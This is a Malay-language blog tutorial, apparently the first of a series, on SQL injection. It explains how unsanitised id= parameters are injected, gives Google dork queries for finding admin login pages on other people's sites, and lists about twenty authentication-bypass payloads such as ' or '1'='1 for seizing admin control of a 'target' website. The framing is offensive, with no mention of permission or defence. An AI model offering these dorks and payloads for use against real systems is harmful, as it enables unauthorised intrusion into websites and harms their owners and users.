SQL Injection ( SQLi Tutorial )
5 perkara yang anda perlu tahu tentang SQLi
– Asas injection
– Mendapatkan Data
– Keluarkan Data
– Kumpul Maklumat
– Kumpul Data
Asas Injection
Mula-mula kita perlu pahamkan atau gambarkan dulu apa yang sebenarnya dan bagaimana SQLi ini dilakukan. Cuba baca ringkasan yang ade dibawah sebelum kita mulakan langkah pertama menggunakan SQLi.
– Cara mudah mengesan laman yang menggunakan sql ialah jika diperhatikan pada URL ( alamat web ) , ianya mempunyai perimeter id= seperti :
http://www.contoh.my/index.php?id=1
“index.php” merupakan nama file dan “id=1” merupakan perimeter bagi sesuatu info pada laman tersebut.
– Didalam SQL ia diperintah dengan menggunakan perintah :
$result = $db -> query (“SELECT * FROM `content` WHERE id=” . $_GET
[‘id’]);
dan kebiasaanya laman akan diperintahkan melalui :
SELECT * FROM `content` WHERE id=1
– Ini akan membolehkannya disuntik ( inject ) pada perimeter id=1 . Contohnya :
http://www.contoh.my/index.php?id=1′
– Maka anda akan perhatikan keluar error seperti :
Fatal error: Call to a member function fetch_row() on a non-object in
/home/sites/contoh.my/public_html/index.php on line 50Iklan Google
– Namunpun begitu , bukan semua laman akan mengeluarkan error jenis ini, jika anda perhatikan perbezaan laman sebelum dan selepas di inject , maka ia berpotensi di inject.
Okaylah, mari kita mulakan langkah pertama untuk SQLi.
Memintas login admin
Mendapatkan kuasa admin dengan cara memintas akaun admin.
Seperti yang semua tahu , jika ingin melakukan SQL injection , semestinya laman tersebut menggunakan Database. Ini kerana melalui injection sql ini adalah untuk mendapatkan maklumat melalui database tersebut.
Kebiasaannya site yang berpotensi adalah yang berformat *.asp dan *.php.
Mula-mula sekali, kita perlu cari laman sasaran.
Cara yang biasa digunakan untuk mendapatkan sasaran ialah menggunakan google dork. Apakah Dork? Sila klik untuk lihat post sebelum ini.
Kalau nak diikutkan senarai google dork ni terlalu besar bagi kegunaan asas SQLi. Bagaimanapon ini yang paling mudah dan terbaik;
“inurl:admin.asp”
“inurl:login/admin.asp”
“inurl:admin/login.asp”
“inurl:adminlogin.asp”
“inurl:adminhome.asp”
“inurl:admin_login.asp”
“inurl:administratorlogin.asp”
“inurl:login/administrator.asp”
“inurl:administrator_login.asp”
Sekarang ape yang kite perlu buat setelah dapat sasaran?
Sasaran akan memberi kandungan paparan seperti ini:
ADMIN USERNAME :
PASSWORD :
jadi ape yang perlu kita buat adalah biasanya kita akan taip “Admin” pada ruang username. Dan pada ruang password kita akan taip SQLi kita.
Ini senarai SQLi:
‘ or ‘1’=’1
‘ or ‘1’=’1
‘ or ‘x’=’x
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
‘or’1=1’
Jadi apa yang perlu anda taip adalah seperti ini.
username:Admin
password:’or’1’=’1
ini akan buat system sql pada sasaran menjadi bingung dan akan memerikan akan kuasa penuh keatas website sasaran kepada anda sebagai admin.
Jika website sasaran anda lemah dan mudah terjejas, anda akan dapat kuasa penuh admin padanya.
Kita sambung lagi dalam siri seterusnya nanti. Cuba pahamkan konsep sqli ni.
Untuk siri akan datang, insyaAllah Janjang akan selitkan beberapa screenshot untuk rujukan anda.